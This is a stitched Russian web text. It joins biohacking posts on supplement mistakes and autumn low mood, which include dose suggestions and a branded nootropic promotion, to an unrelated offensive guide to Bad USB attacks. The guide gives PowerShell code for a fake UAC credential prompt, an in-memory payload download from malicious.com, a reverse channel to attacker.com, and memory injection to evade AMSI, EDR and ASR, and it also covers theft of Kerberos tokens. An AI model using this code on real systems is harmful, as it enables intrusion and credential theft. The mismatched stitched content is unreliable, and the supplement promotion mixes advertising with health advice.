Всем привет! Биохакинг обманчиво простой: поддержка организма, все натуральное, витаминки — кажется, что навредить себе сложно. Но на практике проблемы идут не от лишней химии, а от неправильного применения. Принес вам разбор типичных биохакерских ошибок.

1. Мегадозы витаминов на всякий случай

Логика понятна: например, витамин Д — это хорошо, но 10-20 тыс МЕ в долгосрок еще лучше. К сожалению, это не так. Исследования показывают, что избыток того же витамина Д приводит к токсичности — поражение почек. История с витамином А похожа: избыток, особенно в виде ретинола, может дать токсичность вплоть до поражения печени. При этом у людей без дефицита дополнительный прием витамина А не снижает смертность и риски рака.

Я обозреваю это не для того, чтобы запугать, я хочу донести мысль: исследования показывают, что адекватное поступление витаминов, особенно при полноценном питании, действительно связано с меньшей смертностью, но просто употребление добавок не дает бонуса по выживаемости. А вот избыток некоторых добавок, как кальций, например, повышает риск смертности от рака.

2. Лечить выдуманные дефициты и игнорировать реальные

Часто вижу такие ситуации: "пью железо для энергии", "я принимаю йод для щитовидки", "у меня в стеке В12, потому что для мозга полезно". А вот реальные дефициты никто не проверял. Прием железа без дефицита повышает риск перегрузки и проблем с ЖКТ, йод на всякий случай — риск спровоцировать тиреоидит или гипертиреоз у предрасположенных, кальций без показаний — та самая история с повышенным риском смерти от рака.

Когда собираете стек, опирайтесь на лабораторную диагностику. Регулярно, хотя бы раз в 6 месяцев пересматривайте, что принимаете. Иногда достаточно поправить питание, а не закупать новые банки.

3. Опасные сочетания добавок и лекарств

Когда в стек берут кучу витаминов, обычно думают: ну, максимум не усвоится. А вот сочетание некоторых добавок с лекарствами может давать уже серьезные побочки.

Самый яркий пример — серотонинергические добавки. Многие биохакеры знают, что 5-HTP, триптофан, зверобой повышают уровень серотонина. Если поверх них человек принимает антидепрессанты, то риск серотонинового синдрома резко растет, а это может привести к тяжелым последствиям. Другие неочевидные сочетания: например, высокие дозы магния мешают усвоению некоторых групп антибиотиков.

Так что, если вы принимаете какие-либо препараты, то обсуждайте сочетаемость с добавками с врачом. Читайте в инструкции раздел с взаимодействиями.

4. Неучтенные стимуляторы в стеке

Многие уверены, что пьют мало кофе. Но кофеин содержится также в предтрене, жиросжигателях, энергетических комплексах, напитках вроде чая, энергетиков, колы.

Проблема в том, что исследования связывают высокий уровень потребления кофеина с ростом тревоги, нарушений сна, тахикардией и другими проблемами у чувствительных людей. Поэтому пересчитайте свое потребление кофеина из всех источников. Не употребляйте стимулирующие добавки во второй половине дня, если хотите не просто спать, но и высыпаться.

5. Подменять базу добавками

Самая скучная, но главная ошибка. Многие биохакеры верят, что какая-то чудесная добавка закроет их дыры в режиме: плохой сон, питание джанк фудом, некачественные или отсутствие тренировок, повышенный стресс.

Исследование показало, что сам по себе факт приема добавок не снижает смертность, важно именно адекватное поступление витаминов. Поэтому важно помнить, что стек — это не фундамент, а грамотная надстройка для сохранения здоровья и повышения качества жизни.

А еще больше интересных исследований и разборов в сообществе RISE: Ноотропы и Биохакинг в Telegram и группе в ВКонтакте. А ещё на канале ламповое общение, личный опыт участников и возможность задать вопрос и получить помощь.

Всем привет! Я пишу статьи про здоровье и личную эффективность: только на основе исследований и проверенной информации. Принес вам актуальную подборку по борьбе со стрессом и тревогой.

Посты:

🟠Гайд по адаптогенам: как выбрать и не промахнуться?

🟠Лаванда лечит депрессию: миф или правда?

🟠Сон гения: как спит Павел Дуров?

🟠Ликбез по глицину

🟠Стресс и гиппокамп: почему хронический стресс ухудшает память?

Статьи:

🟢Осеннее обострение: гайд по феномену

🟢Как заставить мозг работать: простые дыхательные практики

🟢Как выжить в хаосе и быть продуктивным: тайм-менеджмент от топ-экспертов

🟢Как перепрошить мозг после выгорания: BDNF, стресс и мышление

🟢Психосоматика: научные основы взаимодействия психики и тела

🟢СДВГ и прокрастинация. Общие проблемы и ультимативные решения

🟢Вкусно и не грустно: влияние питания на уровень тревожности

Материалы на другие темы можно найти в моем блоге.

Промокоды от нашего сообщества биохакеров:

➡️ Получить скидку 10% на vivaherb.ru на все добавки — RISE10

➡️ Получить банку ежовика гребенчатого в подарок при заказе от 3,5к — RISE

Больше материалов про здоровье, секретов продуктивности и личной эффективности вы найдете в нашем сообществе RISE: Ноотропы и Биохакинг и группе ВКонтакте. Подписывайтесь, чтобы не пропустить свежие статьи!

Реклама.
ООО «Ноотериа Лабс»,
ОГРН 1215400008207
Erid: 2VSb5ynrvAD

Усталость, сонливость, тяга к сладкому, апатия, провалы мотивации – знакомая осенняя тема. Почему это возникает, и главное, как не застревать в этом состоянии? Разбираем в статье.

Дисклеймер: статья носит ознакомительный характер, перед применением любых добавок необходима консультация врача. Мы за безопасный биохакинг.

Почему осень влияет на тело и психику?

Наша серотониновая система подвержена влиянию смены сезонов. В осенне зимний период увеличивается активность транспортеров серотонина, своеобразных уборщиков в системе. Уборщик забирает серотонин из синапса обратно в нейрон, что приводит к уменьшению серотонина в синапсах. Следствие: сигнал серотонина схлопывается чуть быстрее. Это проявляется сонливостью, туманом в голове, тягой к сладкому и снижением настроения. Чем больше транспортеров, тем быстрее идет уборка. По такой системе работают антидепрессанты: они блокируют работу транспортеров.

Когда день короче, мозг получает меньше утреннего света. Это сдвигает встроенные часы в гипоталамусе: В исследованиях доказали, что длительность ночной секреции мелатонина увеличивается по сравнению с летним» режимом, то есть биологическая ночь реально удлиняется. Даже обычный экран планшета поздним вечером подавляет мелатонин и сдвигает циркадную фазу.

Еще следует учесть, что осенью и зимой организм переключает ряд генетических и иммунных программ на зимний профиль. Это означает, что в крови меняется состав клеток и усиливается тонкий фон воспаления. Такой сдвиг помогает лучше бороться с инфекциями, но у части людей он связан с вялостью, сонливостью, упадком мотивации и ухудшением настроения.

Как понять, что хандра накрыла?

Обычная усталость возникает после перегруза и уходит за пару ночей нормального сна. Сезонная хандра и сезонная депрессия стартуют в одни и те же месяцы, чаще октябрь-февраль, держатся неделями и тянут за собой характерный набор: хочется спать дольше, тянет на углеводы, вес ползет вверх, туман в голове, тает желание общаться с людьми. Если эти признаки повторяются каждую осень/зиму и мешают работать, это уже не просто усталость.

На тяжесть ориентируйтесь по симптомам: если почти каждый день на протяжении 2 недель есть подавленное настроение или утрата интереса, а вместе с ними набирается еще несколько симптомов, такие как проблемы со сном, странный аппетит, необычно много или мало энергии, плохая концентрация, чувство вины и т. п, пора к специалисту. Срочная помощь нужна, если произошла резкая переключка в гиперактивность с малым сном и потоком идей – это риск биполярной фазы. Или если появились серьезные мысли о тщетности бытия, а работа и быт разваливаются.

Ниже приведу протокол помощи именно при осенней хандре, оценивать стоит на дистанции пары недель, тогда будут заметны улучшения.

Практические методы

Свет

У нас был разбор пользы светотерапии в отдельном материале. Метаанализ исследований показал, что светотерапия для пациентов с сезонным аффективным расстройством показала значительные улучшения состояния по сравнению с плацебо. 30-60 мин на улице в середине дня даже в пасмурную погоду усиливают антидепрессивный эффект света.

Циркадные ритмы

Устанавливаем строгий график сна, ложимся и встаем в одно и то же время. Если есть проблемы с засыпанием, нужно восстановить режим за пару дней, можно использовать низкие дозировки мелатонина, они более эффективны.

Движение

Метаанализ исследований показал, что силовые, йога или аэробные тренировки 3-4 раза в неделю по 30-45 минут снижают депрессивные симптомы. Физическую активность ставят на один уровень эффективности наряду с психотерапией и антидепрессантами в качестве основных методов лечения депрессии.

Питание

Начните день с белкового завтрака: аминокислоты тирозин и фенилаланин поддержат дофаминовую систему, будет легче включаться в работу и держать фокус. В течение дня делайте ставку на цельные углеводы — крупы, бобовые, корнеплоды, цельнозерновой хлеб. Они ровнее держат сахар и дают триптофан для серотонина, поэтому меньше качелей энергии и тяги к сладкому. 2-3 раза в неделю добавляйте жирную морскую рыбу, омега-3 снижают зимний воспалительный фон и поддерживают настроение. Соль, сахар и ультрапереработку ограничивайте.

Какие анализы проверить

Если чувствуете сезонный спад, начните с четырех базовых анализов:

Витамин Д.  Не гадайте по самочувствию и не пейте высокие дозы вслепую. Сдайте анализ и скорректируйте дозировку с врачом, пересмотрите уровень через 8–12 недель. Я для профилактики дефицита принимают 2000-4000 МЕ с начала осени по май, выбираю витамин Д + К2.

Железо и ферритин важны как энергия и запасы железа: даже без анемии низкий ферритин даёт усталость и туман в голове. Сдавать лучше утром натощак и не принимать железо за 48 часов до анализа. Дальше искать причину дефицита и восполнять под контролем.

B12. Дефицит часто маскируется под хандру, а корректируется просто.

ТТГ. Первый фильтр по щитовидке: при сонливости, зябкости, сухой коже, наборе веса или семейной истории начните с него. Если ТТГ вне референса, уже по показаниям добавляют свободный Т4 и антитела, и решают, нужна ли терапия.

Поддержка добавками

Омега-3

Обращайте внимание на Омегу с высокой концентрацией ЭПК. Метаанализ 15 исследований показал, что у взрослых с депрессивной симптоматикой отмечается улучшение при приеме Омега-3 с высокой концентрацией ЭПК.

Витамин Д

Свежие метаанализы показывают умеренное улучшение симптомов при депрессии. Адекватный статус Д помогает энергии и иммунной устойчивости, но избыточные дозы пользы не добавляют, поэтому лучше ориентироваться на анализы. Жирорастворимый, комбинируйте с Омегой или принимайте во время еды.

Магний

200-400 мг бисглицината магния вечером расслабляют, улучшают качество сна и снижают нервное напряжение. Я использую как ежедневную подушку безопасности при стрессе.

Б-комплекс

Ориентируйтесь при выборе на комплексы с полноценными дозировками, особенно B1, B6, B12 и фолат. Помогают переносить нагрузку и уменьшать ощущение перегрева в работе. Это не лечение депрессии, но полезная добавка для нервной системы в загруженные недели.

Для фокуса и энергии под задачи можно добавить в стек:

Кофеин + L-теанин

Например, 50-100 мг кофеина + 100-200 мг L-теанина утром, но через 2 часа после пробуждения. Работает особенно хорошо при недосыпе и длинных спринтах. Если тревожность высокая или есть проблемы со сном, то снижайте дозу или используйте только теанин.

L-тирозин

Инструмент по требованию, а не на каждый день. 500-2000 мг за 30–60 мин до нагрузки, холода или недосыпа. Может поддержать когнитивные функции в стрессе.

Родиола розовая

Экстракт 200-400 мг. Обзоры показывают снижение усталости и уровня стресса.  Эффект накопительный, через 1-2 недели заметнее. При биполярном расстройстве и на фоне стимуляторов принимать с осторожностью.

Бакопа Монье

Вариант на длинную дистанцию для памяти и обучаемости. Это не про мгновенный фокус, а про медленное улучшение когнитивной базы. Курс обычно 8-12 недель, 300-600 мг экстракта в день.

Я предпочитаю готовое решение для продуктивности, поэтому беру Майндбустер: ДМАЕ, бакопа, кофеин + L-теанин, родила и тирозин, группа витаминов В, плюс пиперин для лучшего всасывания. Преимущество в том, что не надо заморачиваться, подбирать дозировку и покупать всё по отдельности, закинул 2-3 капсулы и пошел заниматься делами. 1 банка по сути заменяет кучу других.

Что по итогу?

Осенняя хандра – это нормальная реакция организма на изменившийся ритм жизни. Дайте себе две недели на эксперимент: фиксированный подъем, утренний свет, днем – движение, вечер на замедление и спокойнее.  В тарелке белок на завтрак, цельные углеводы в течение дня, рыба пару раз в неделю. Если есть дефициты — корректируйте их. Если придерживаться базовых шагов, энергия и настроение постепенно вернутся.

Уже заметили осенние изменения? Как обычно поддерживаете работоспособность?

Автор статьи участник нашего сообщества Филипп. Больше интересных подборок и статей вы можете найти в нашем сообществе RISE: Ноотропы и биохакинг, а также в группе ВКонтакте. Подписывайтесь на канал и общайтесь в нашем уютном чате на разные темы о здоровье.

Физический вектор атаки через эмуляцию USB HID остаётся жизнеспособным способом первичного проникновения в организации с недостаточной зрелостью процессов безопасности. Малый бизнес сохраняет уязвимость к подобным угрозам вследствие ограниченного контроля устройств, неполного охвата групповых политик и низкого уровня осведомлённости сотрудников.

Хотите разбирать реальные случаи взломов и разбираться в киберугрозах? В своём Telegram-канале https://t.me/scontrols я делюсь историями атак, методами защиты и разбором уязвимостей. Подписывайтесь, если тема безопасности вам интересна.

Подготовка устройства Bad USB включает использование плат на базе микроконтроллеров с поддержкой HID (например, Arduino Pro Micro на ATmega32U4 или Digispark на ATtiny85). Для повышения реалистичности возможна модификация идентификаторов производителя и устройства (VID/PID) через прошивку EEPROM или изменение загрузчика с помощью внешнего программатора. Популярная практика включает эмуляцию моделей известных брендов периферии, чтобы избежать подозрений на этапе подключения.

На уровне прошивки реализуется сценарий автоматического ввода команд. Стандартный набор команд Arduino использует методы Keyboard.press(), Keyboard.print() и Keyboard.releaseAll(), что позволяет симулировать комбинации клавиш, необходимые для вызова окна «Выполнить» и запуска PowerShell в пользовательском контексте. В системах Windows 11 при стандартных настройках UAC выполнение команд от имени администратора без прямого подтверждения невозможно. Поэтому сценарий нацелен на выполнение команд от имени текущего пользователя, без явного повышения привилегий.

Сценарии с попыткой автоматизации нажатий Ctrl+Shift+Enter и Alt+Y для обхода UAC работают крайне нестабильно, поскольку Windows требует подтверждения через ввод учётных данных при наличии активной политики Secure Desktop.

Для повышения вероятности успешного повышения привилегий возможно применение социальной инженерии в виде поддельного окна UAC. Скрипт создаёт имитацию системного диалога, визуально идентичного стандартному UAC, с предложением ввести административные учётные данные. Пример кода на PowerShell для создания поддельного окна:

Add-Type -AssemblyName PresentationFramework $credential = [System.Windows.MessageBox]::Show('Windows needs your permission to continue.', 'User Account Control', 'OKCancel', 'Warning') if ($credential -eq 'OK') { Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "payload"' -Verb RunAs }

Для повышения реалистичности используется создание полноэкранной формы с блокировкой действий пользователя до ввода данных, после чего происходит передача введённой информации на внешний сервер или локальное её использование для немедленного повышения привилегий.

Первоначальный скрипт PowerShell должен быть минималистичным, способным к быстрой инъекции полезной нагрузки без необходимости записи файлов на диск. Для обхода AMSI и EDR предпочтительно использовать прямую загрузку полезной нагрузки в память процесса через Memory Injection.

Загрузка полезной нагрузки из сети реализуется через COM-объект WinHttp:

$webclient = New-Object -ComObject "WinHttp.WinHttpRequest.5.1" $webclient.Open("GET", "https://malicious.com/payload.bin", $false) $webclient.Send() $bytes = $webclient.ResponseBody $assembly = [System.Reflection.Assembly]::Load($bytes) $entryPoint = $assembly.EntryPoint $entryPoint.Invoke($null, @(,$null))

Этот подход позволяет загрузить исполняемый код напрямую в память, минуя файловую систему, что снижает вероятность обнаружения средствами антивирусной защиты и системами мониторинга активности на диске.

Для обратного подключения к системе управления атаками предпочтительно использовать реверсивное соединение через HTTPS-туннелирование. Прямые соединения по нестандартным портам часто блокируются NGFW и системами анализа сетевого трафика. Туннелирование через HTTPS позволяет замаскировать соединение под стандартный веб-трафик.

Создание HTTPS-туннеля может быть реализовано через встроенный в PowerShell модуль System.Net.HttpWebRequest:

$uri = "https://attacker.com/reverse" $request = [System.Net.HttpWebRequest]::Create($uri) $request.Method = "POST" $request.ContentType = "application/octet-stream" $stream = $request.GetRequestStream() while ($true) { $input = Read-Host $bytes = [System.Text.Encoding]::UTF8.GetBytes($input) $stream.Write($bytes, 0, $bytes.Length) $stream.Flush() }

В более продвинутых вариантах атаки создаётся сессионное соединение через WebSocket поверх HTTPS, что значительно усложняет обнаружение на уровне сетевых сигнатур.

Эксфильтрация данных через такие туннели маскируется под обычную активность HTTPS-сессий, что позволяет обойти системы DLP и NGFW, настроенные на анализ приложений по портам. В ряде случаев дополнительно применяется шифрование содержимого сессии на уровне прикладного протокола, чтобы усложнить инспекцию трафика.

Подключение устройства Bad USB пользователем остаётся непредсказуемым этапом атаки. Реальные исследования демонстрируют, что вероятность подключения найденного устройства в корпоративной среде варьируется от 10% до 20%. Этот показатель возрастает при наличии провоцирующих факторов вроде маркировки накопителя корпоративной символикой или намёка на ценную информацию.

Современные системы защиты, включая Microsoft Defender for Endpoint, CrowdStrike Falcon и SentinelOne, активно мониторят поведенческие индикаторы атаки: необычные цепочки процессов, аномальные сетевые активности, взаимодействия PowerShell с COM-объектами. Даже в случае успешного обхода AMSI вероятность обнаружения на этапе эксплуатации остаётся высокой при наличии правильно настроенных политик и оперативной облачной аналитики.

Техники Post-Exploitation в рамках Bad USB-атак в 2025 году опираются на быстрый переход к боковому перемещению и сбору ключевых артефактов, минимизируя шум в сети. Используются подходы инъекции шеллов в доверенные процессы через API NtCreateThreadEx, эксплуатации служебных интерфейсов COM для выполнения команд от имени системных служб, временного создания задач через Task Scheduler с последующим их удалением для достижения постоянства, захвата токенов привилегированных процессов через DuplicateTokenEx и имплантации в текущую сессию.

Обход защиты на этапе Post-Exploitation требует дополнительного внимания к механизмам Attack Surface Reduction (ASR), встроенным в Microsoft Defender for Endpoint 2025 года. Правила ASR активно блокируют запуск исполняемых файлов через Office-документы, автозагрузку через скрипты и несанкционированные изменения системных настроек. Для их обхода применяется модификация методов доставки полезной нагрузки. Скрипты внедряются через легитимные процессы, например, через taskhostw.exe или wsmprovhost.exe, с последующей загрузкой модулей в память через API VirtualAlloc и NtProtectVirtualMemory.

Пример скрипта обхода ASR с Memory Injection:

$bytes = [System.Convert]::FromBase64String("<payload_base64>") $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($bytes.Length) [System.Runtime.InteropServices.Marshal]::Copy($bytes, 0, $ptr, $bytes.Length) $func = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ptr, (New-Object System.Func[IntPtr, Int32])) $func.Invoke($ptr)

На следующем этапе может быть инициирован сбор Kerberos-токенов для последующего горизонтального перемещения по сети. Сбор осуществляется через вызовы методов LsaEnumerateLogonSessions и LsaGetLogonSessionData, позволяя получить действующие токены пользователей без необходимости их перехвата на сетевом уровне.

Обнаружение кейлоггеров и вредоносных агентов в малом бизнесе зависит от уровня зрелости инфраструктуры безопасности. Продвинутые резидентные кейлоггеры, внедрённые через Memory Injection и маскирующиеся под системные службы, могут оставаться незамеченными в течение нескольких суток при отсутствии EDR с поведенческим анализом.

Подведение итогов успешности всей цепочки атаки требует учёта множества факторов. Без строгих политик безопасности вероятность успешного проникновения и сбора информации оценивается на умеренном уровне. При наличии современных средств защиты вероятность успешной эксфильтрации и скрытого присутствия существенно снижается.